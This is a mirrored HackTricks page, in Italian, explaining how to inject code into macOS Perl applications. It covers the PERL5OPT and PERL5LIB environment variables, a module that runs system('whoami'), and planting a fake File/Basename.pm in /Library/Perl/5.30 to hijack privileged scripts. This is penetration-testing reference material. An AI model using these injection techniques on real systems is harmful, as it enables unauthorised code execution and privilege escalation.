mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
61 lines
2.2 KiB
Markdown
61 lines
2.2 KiB
Markdown
# macOS Perl Applications Injection
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Tramite la variabile d'ambiente `PERL5OPT` & `PERL5LIB`
|
|
|
|
Utilizzando la variabile d'ambiente PERL5OPT è possibile far eseguire a perl comandi arbitrari.\
|
|
Ad esempio, crea questo script:
|
|
```perl:test.pl
|
|
#!/usr/bin/perl
|
|
print "Hello from the Perl script!\n";
|
|
```
|
|
Ora **esporta la variabile di ambiente** ed esegui lo **script perl**:
|
|
```bash
|
|
export PERL5OPT='-Mwarnings;system("whoami")'
|
|
perl test.pl # This will execute "whoami"
|
|
```
|
|
Un'altra opzione è creare un modulo Perl (ad es. `/tmp/pmod.pm`):
|
|
```perl:/tmp/pmod.pm
|
|
#!/usr/bin/perl
|
|
package pmod;
|
|
system('whoami');
|
|
1; # Modules must return a true value
|
|
```
|
|
E poi usa le variabili di ambiente:
|
|
```bash
|
|
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
|
```
|
|
## Via dipendenze
|
|
|
|
È possibile elencare l'ordine della cartella delle dipendenze di Perl in esecuzione:
|
|
```bash
|
|
perl -e 'print join("\n", @INC)'
|
|
```
|
|
Che restituirà qualcosa come:
|
|
```bash
|
|
/Library/Perl/5.30/darwin-thread-multi-2level
|
|
/Library/Perl/5.30
|
|
/Network/Library/Perl/5.30/darwin-thread-multi-2level
|
|
/Network/Library/Perl/5.30
|
|
/Library/Perl/Updates/5.30.3
|
|
/System/Library/Perl/5.30/darwin-thread-multi-2level
|
|
/System/Library/Perl/5.30
|
|
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
|
/System/Library/Perl/Extras/5.30
|
|
```
|
|
Alcune delle cartelle restituite non esistono nemmeno, tuttavia, **`/Library/Perl/5.30`** **esiste**, **non è** **protetta** da **SIP** ed è **prima** delle cartelle **protette da SIP**. Pertanto, qualcuno potrebbe abusare di quella cartella per aggiungere dipendenze di script in modo che uno script Perl ad alta privilegio lo carichi.
|
|
|
|
> [!WARNING]
|
|
> Tuttavia, nota che **devi essere root per scrivere in quella cartella** e oggigiorno riceverai questo **prompt TCC**:
|
|
|
|
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
|
|
|
|
Ad esempio, se uno script importa **`use File::Basename;`**, sarebbe possibile creare `/Library/Perl/5.30/File/Basename.pm` per far eseguire codice arbitrario.
|
|
|
|
## Riferimenti
|
|
|
|
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|